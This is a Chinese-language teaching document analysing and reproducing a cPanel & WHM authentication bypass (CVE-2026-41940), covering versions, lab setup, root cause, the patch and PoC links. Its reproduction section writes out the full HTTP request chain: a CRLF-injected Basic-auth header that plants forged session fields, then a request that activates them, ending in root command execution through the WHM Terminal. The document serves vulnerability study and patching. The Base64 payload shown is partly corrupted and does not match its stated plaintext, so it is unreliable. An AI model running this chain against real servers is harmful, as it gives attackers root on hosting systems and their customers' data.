cPanel & WHM 认证绕过漏洞(CVE-2026-41940)分析与复现教学文档
一、漏洞概述
cPanel & WHM 是全球广泛使用的 Linux 服务器控制面板,其认证绕过漏洞(CVE-2026-41940)允许未认证攻击者通过构造特殊请求,完全绕过登录认证机制,直接获取 root/WHM 管理员权限,进而实现远程代码执行(RCE)。
二、受影响版本与修复版本
| 主版本系列 | 受影响版本 | 修复版本 |
|---|---|---|
| cPanel & WHM 110.0.x | 11.110.0.96 | 11.110.0.97 |
| cPanel & WHM 118.0.x | 11.118.0.61 | 11.118.0.63 |
| cPanel & WHM 126.0.x | 11.126.0.53 | 11.126.0.54 |
| cPanel & WHM 132.0.x | 11.132.0.27 | 11.132.0.29 |
| cPanel & WHM 134.0.x | 11.134.0.19 | 11.134.0.20 |
| cPanel & WHM 136.0.x | 11.136.0.4 | 11.136.0.5 |
三、环境搭建(以 Ubuntu 24.04 + 11.136.0.4 为例)
1. 环境准备
- 系统选择:Ubuntu 24.04(推荐海外 VPS,如阿里云,避免依赖拉取失败)。
- 基础配置:
apt update && apt upgrade -y apt install perl curl wget -y hostnamectl set-hostname malaa.xz.com # 设置主机名 ufw disable # 关闭防火墙(避免干扰)
2. 锁定漏洞版本
创建版本锁定配置文件,禁止自动更新(否则会升级到修复版本):
cat > /etc/cpupdate.conf << 'EOF'
CPANEL=11.136.0.4 # 指定漏洞版本
RPMUP=never # 禁止 RPM 更新
SARULESUP=never # 禁止安全规则更新
STAGING_DIR=/usr/local/cpanel
UPDATES=never # 禁止所有更新
EOF
3. 安装 cPanel & WHM
cd /home
curl -o latest -L https://securedownloads.cpanel.net/latest # 下载安装脚本
sh latest # 执行安装(约 20 分钟)
安装完成后,使用 SSH 账号密码登录 WHM 后台(默认账号密码与 SSH 一致)。
四、漏洞原理
1. cPanel/WHM 会话机制
- 会话存储结构:
- 原始会话文件:
/var/cpanel/sessions/raw/(格式为key=value逐行文本,类似 INI)。 - JSON 缓存文件:
/var/cpanel/sessions/cache/(格式为 JSON,供loadSession读取)。
- 原始会话文件:
- Cookie 结构:
whostmgrsession=<session_name>,<ob_hex><session_name>:会话标识(如root:zrHbVJToalM0O6xq)。<ob_hex>:32 位十六进制密钥,用于对pass字段加密(Cpanel::Session::Encoder)。
2. 核心漏洞点
(1)Cookie 处理逻辑缺陷
当 Cookie 中仅包含 <session_name>(无 <ob_hex>)时,$ob 变量为空,编码逻辑被跳过,导致 pass 字段以明文写入会话文件。
(2)CRLF 注入漏洞
cpsrvd 处理 Basic Authentication 时,pass 字段仅过滤 \0(NUL 字节),未过滤 \n(换行符)。攻击者可构造含换行的 pass,将恶意 key=value 注入会话文件。
(3)认证绕过逻辑
docheckpass_whostmgrd 密码检查函数中,若存在以下会话字段,直接返回认证成功(AUTH_OK),不校验 /etc/shadow 密码:
if ( $session_ref->{'successful_internal_auth_with_timestamp'} ) {
return AUTH_OK;
}
(4)过滤函数缺失
Cpanel/Session.pm 中 filter_sessiondata 过滤函数仅在 create 时调用,saveSession 未调用该函数,导致注入的恶意数据未被过滤。
五、漏洞复现步骤
1. 构造预认证会话
发送 POST 请求获取未认证的 whostmgrsession Cookie:
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrong # 错误密码,触发未认证会话创建
响应中会返回 Set-Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_%2c4d257abc371539dfebdf7d3a3e64de0b(%3a 为 : 的 URL 编码)。
2. CRLF 注入污染会话文件
构造含换行符的 pass 字段(Base64 编码前),通过 Authorization 头注入恶意会话数据:
- Base64 解码前的
pass内容(换行符分隔):root:x hasroot=1 tfa_verified=1 user=root cp_security_token=/cpsess9999999999 successful_internal_auth_with_timestamp=1777462149 - 请求示例:
此时GET / HTTP/1.1 Host: target:2087 Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_ # 仅保留 session_name(无 ob_hex) Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCpnRmFfdmVyaWZpZWQ9MQ0KdXNlcj1yb290DQpjcF9zZWN1cml0eV90b2tlbj0vY3BzZXNzOTk5OTk5OTk5DQoNCnN1Y2Nlc3NmdWxfaW50ZXJuYWxfYXV0aF93aXRoX3RpbWVzdGFtcD0xNzc3NDYyMTQ5/var/cpanel/sessions/raw/:QSJN_sFdKZtCi2o_会话文件会被注入上述key=value条目。
3. 提升会话数据到 JSON 缓存
访问需要 cp_security_token 的受保护接口(如 /scripts2/listaccts),触发 check_security_token 失败,调用 Cpanel::Session::Modify->save(),将 raw 会话文件中的数据同步到 JSON 缓存:
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
响应会返回 401 Token Denied,但此时 JSON 缓存已更新,注入的 successful_internal_auth_with_timestamp 等字段生效。
4. 认证绕过与 RCE
此时已绕过认证,可直接访问 WHM 后台任意接口。利用后台 Terminal 功能(默认以 root 权限运行),执行任意命令:
whoami # 输出 root
id # 输出 uid=0(root) gid=0(root) groups=0(root)
六、修复措施
官方在修复版本中,对 saveSession 函数添加了 filter_sessiondata 过滤,并对 pass 字段强制加密:
sub saveSession {
my ( $session, $session_ref, %options ) = @_;
...
filter_sessiondata($session_ref); # 新增:过滤会话数据(含换行符)
if ( length $session_ref->{'pass'} ) {
if ( defined $ob && length $ob ) {
my $encoder = Cpanel::Session::Encoder->new( 'secret' => $ob );
$session_ref->{'pass'} = $encoder->encode_data( $session_ref->{'pass'} ); # 加密 pass
} else {
$session_ref->{'pass'} = 'no-ob:' . Cpanel::Session::Encoder->hex_encode_only( $session_ref->{'pass'} );
}
}
...
}
七、参考资料
- Watchtowr 漏洞分析报告:https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
- Watchtowr PoC:https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py
- W4ter 改进 PoC:https://github.com/waterrr/cPanel-WHM-AuthBypass-to-RCE.py/blob/main/rce.py